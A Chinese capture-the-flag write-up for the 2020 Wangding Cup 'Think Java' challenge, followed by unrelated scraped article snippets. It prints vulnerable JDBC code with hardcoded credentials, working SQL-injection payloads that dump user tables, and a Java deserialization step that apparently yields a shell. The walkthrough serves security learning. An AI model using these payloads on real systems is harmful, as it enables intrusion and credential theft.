[网鼎杯 2020 朱雀组]Think Java

[网鼎杯 2020 朱雀组]Think Java

swagger

[[swagger]]

  • 首先下载源码,查看之后发现
    image.png

  • 查找swagger资料,或者扫描,得到:swagger-ui.html

swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

  • 首先去看看sqlDict页面,感觉跟sql注入有关
    image.png

JDBC sql注入

[[JDBC sql注入]]

//首先会先通过数据库名进行数据库链接,所以这一步不能出错,这导致了常规的sql拼接失败了,因为拼接之后的字符串不可能是它们其中的一个数据库名,所以要采取别的方法
       try {
            Class.forName("com.mysql.jdbc.Driver");
            if (dbName != null && !dbName.equals("")) {
                dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
            } else {
                dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
            }

            if (user == null || dbName.equals("")) {
                user = "root";
            }

            if (pass == null || dbName.equals("")) {
                pass = "abc@12345";
            }

            conn = DriverManager.getConnection(dbName, user, pass);


//然后才能进行SQL注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
 ResultSet rs = stmt.executeQuery(sql);

参考wp,写的比较详细
https://blog.csdn.net/RABCDXB/article/details/124003575
https://syunaht.com/p/701889044.html

?#特殊处理

jdbc类似于url解析,所以会对于#和?有着不一样的解释

  • #在jdbc中无实际意义且#号后面的会被忽视。例如:myapp# 11会被当做myapp。而SQL语句得到的是:11
  • ?也是一样的,不过需要加个键值对。myapp?a=11。得到的SQL语句是:11
    所以构造,将提交方式改为post会好一点
dbName=myapp?a=1'union+select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())#

image.png

  • 也不一定要用myapp数据库,也可以使用mysql自带的数据库,比如mysql
dbName=mysql?a=1'union+select+333#

image.png

  • 上面我们使用myapp数据库的时候其实返回了表名user,字段name和pwd
  • 所以直接进行注入
使用?
dbName=myapp?a=1'union+select+group_concat(name,pwd)+from+user#

使用#
dbName=myapp#1'union+select+group_concat(name,pwd)+from+user#

image.png
得到

admin
admin@Rrrr_ctf_asde
  • 进入登录页面进行登录
    image.png
  • 登录成功之后返回了
    image.png

java反序列化

[[java反序列化]]

一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

  • 很明显是base64加密,进入最后一个将数据放入抓包
    1710861473304.png
    看到回显的数据就是admin用户名,尝试反序列化利用

java Deserialization Scanner

[[java反序列化#java Deserialization Scanner]]

  • 分析组件
  • 可以简化ysoserial使用流程
    是bp里面的插件,下载安装看这篇博客吧
    https://blog.csdn.net/RABCDXB/article/details/124003575
  • 主要讲如何使用
    有三个模块,分别是组件分析,漏洞利用,配置
使用

组件分析

  • 进入
    image.png
  • 使用
    image.png
  • 显现红色的就是它推测出来的组件,这里是ROME
    漏洞利用
  • 进入
    image.png
  • 使用
    Snipaste_2024-03-19_23-14-24.png

最后,监听9999 端口,得到
1710861809481.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/474515.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

mysql笔记:24. 主从同步环境搭建

文章目录 主从同步的基本原理主从同步的搭建步骤1. 环境准备2. 配置主服务器(Master)3. 配置从服务器(Slave)4. 测试配置5. 常见故障5.1. 主从服务器上的MySQL版本不一致导致失败?5.2. Slave_IO_Running状态异常&#…

matlab simulink 电力系统同步发电机励磁系统的建模与仿真

1、内容简介 略 77-可以交流、咨询、答疑 电力系统同步发电机励磁系统的建模与仿真 建立MATLAB的同步发电机励磁调节系统仿真模型,最后建立了以PID和PSS为励磁控制方式的同步发电机励磁调节系统数学模型,在Simulink环境下进行了仿真,收到…

恶劣天气对高速公路交通的影响

恶劣天气对高速公路交通的影响 高速低能见度会对安全驾驶造成以下影响: 降低驾驶员的感知能力:在低能见度条件下,驾驶员的视线距离缩短,难以看清周围的环境,包括道路状况、其他车辆和行人等。这会导致驾驶员对周围情况…

C#,图论与图算法,有向图(Directed Graph)的环(Cycle)的普通判断算法与源代码

1 检查该图是否包含循环 给定一个有向图,检查该图是否包含循环。如果给定的图形至少包含一个循环,则函数应返回true,否则返回false。 方法:深度优先遍历可用于检测图中的循环。连接图的DFS生成树。只有当图中存在后缘时,图中才存在循环。后边是从节点到自身(自循环)或…

VR全景展示带来的全新体验,有哪些优势?

VR全景展示技术作为一种新兴的数字展示方式,能够让观众身临其境,提升沉浸式效果和观众体验感,不论是在视觉感官上,还是在使用产品的回馈上,VR全景所带来的全新体验都是与众不同的。 VR全景展示有哪些优势? …

uinapp开发-PHP语言-后端安装说明-适用于圈子-陪玩-交友-校园-团购-外卖-分销等多系统-APP小程序H5多端皆有!

后端安装说明 全新安装客户,按此安装调试步骤,请按顺序: ** 后台安装步骤及说明 ** 1、在服务器里安装宝塔。下载www.bt.cn。 宝塔安装完毕后,安装环境,Nginx或者Apache 请选择PHP7.3 数据库mysql5.6。 NGINX 1.22.1轻…

《算法王晓东》多处最优服务次序问题

多处最优服务次序问题 题目描述 设有n个顾客同时等待一项服务。顾客i需要的服务时间为ti, 1≤i≤n。共有s处可以提供此项服务。应如何安排n个顾客的服务次序才能使平均等待时间达到最小? 平均等待时间是n个顾客等待服务时间的总和除以n。 算法设计:对于给定的n个顾…

多区域ISIS路由计算

多区域ISIS路由计算: 1、骨干区域是如何访问非骨干区域?(R4如何学习到200.200/32的路由?) 1.1 默认情况下,L1/2级别路由器会将L1级别LSDB中的叶子信息,作为自己L2级别实节点的叶子信息添加到L2的…

鸿蒙Harmony应用开发—ArkTS-显式动画

提供全局animateTo显式动画接口来指定由于闭包代码导致的状态变化插入过渡动效。同属性动画,布局类改变宽高的动画,内容都是直接到终点状态,例如文字、canvas的内容、linearGradient等,如果要内容跟随宽高变化,可以使用…

代码随想录算法训练营第day25|216.组合总和III、 17.电话号码的字母组合

216.组合总和III 力扣题目链接 (opens new window) 找出所有相加之和为 n 的 k 个数的组合。组合中只允许含有 1 - 9 的正整数,并且每种组合中不存在重复的数字。 说明: 所有数字都是正整数。解集不能包含重复的组合。 示例 1: 输入: k 3, n 7 输…

【LabVIEW FPGA入门】局部变量和全局变量

局部变量 无法访问某前面板对象或需要在程序框图节点之间传递数据时,可创建前面板对象的局部变量。创建局部变量后,局部变量仅仅出现在程序框图上,而不在前面板上。 局部变量可对前面板上的输入控件或显示件进行数据读写。写入局部变量相当于…

华为手机如何录屏?两个方法助你轻松录制

随着智能手机的普及,越来越多的用户开始使用手机来录制屏幕,以便分享游戏过程、教程演示等。其中,华为手机以其卓越的性能和丰富的功能受到了广大用户的喜爱,可是很多用户不知道华为手机如何录屏,本文将详细介绍两种华…

lv17 安防监控项目实战 3

代码目录 框架 our_storage 编译最终生成的目标文件obj 编译生成中间的.o文件 data_global.c 公共资源定义(使用在外extern即可)定义了锁定义了条件变量消息队列id、共享内存id、信号量id及key值发送短信、接收短信的号码向消息队列发送消息的函数&am…

数字人解决方案— SadTalker语音驱动图像生成视频原理与源码部署

简介 随着数字人物概念的兴起和生成技术的不断发展,将照片中的人物与音频输入进行同步变得越来越容易。然而,目前仍存在一些问题,比如头部运动不自然、面部表情扭曲以及图片和视频中人物面部的差异等。为了解决这些问题,来自西安…

Java面试题(Spring篇)

💟💟前言 ​ 友友们大家好,我是你们的小王同学😗😗 今天给大家打来的是 Java面试题(Spring篇) 希望能给大家带来有用的知识 觉得小王写的不错的话麻烦动动小手 点赞👍 收藏⭐ 评论📄 小王的主页…

2024 年广西职业院校技能大赛高职组《云计算应用》赛项赛题第 1 套

#需要资源或有问题的,可私博主!!! #需要资源或有问题的,可私博主!!! #需要资源或有问题的,可私博主!!! 某企业根据自身业务需求&#…

Nettty(1) - 异步和事件驱动

1 Java网络编程 早期的Java API只支持由本地系统套接字提供的所谓的阻塞函数,下面将使用这些函数编写服务端的代码。 1.1 服务端 package com.socket.test;import lombok.extern.slf4j.Slf4j;import java.io.BufferedReader; import java.io.IOException; import…

C#,图论与图算法,图最短路径的迪杰斯特拉(Dijkstra)算法与源代码

1 图的最短路径 给定一个图和图中的源顶点,查找从源到给定图中所有顶点的最短路径。 Dijkstra的算法与Prim的最小生成树算法非常相似。像Prim的MST一样,我们生成一个以给定源为根的SPT(最短路径树)。我们维护两个集合,一个集合包含最短路径树中包含的顶点,另一个集合包…

实验2 E-R图

实 验 名 称 实验2 E-R图 实验目的 (1)通过绘制系统E-R图,熟练掌握系统E-R图的绘制,以及写出E-R图的关系模式。 实验内容 绘用Microsoft Visio绘制出某防疫管理系统的E-R图并写出关系模式。 在抗击新冠肺炎疫情中&#xff…

海外媒体发稿:如何通过海外媒体推广发稿平台提升知名度-华媒舍

在数字时代,传统媒体受到了前所未有的冲击。海外媒体推广发稿平台成为了一种有效的方式,可以帮助个人、公司或组织提升在全球范围内的知名度。本文将介绍如何通过海外媒体推广发稿平台来实现这一目标,并给出一些建议和注意事项。 一、海外媒体…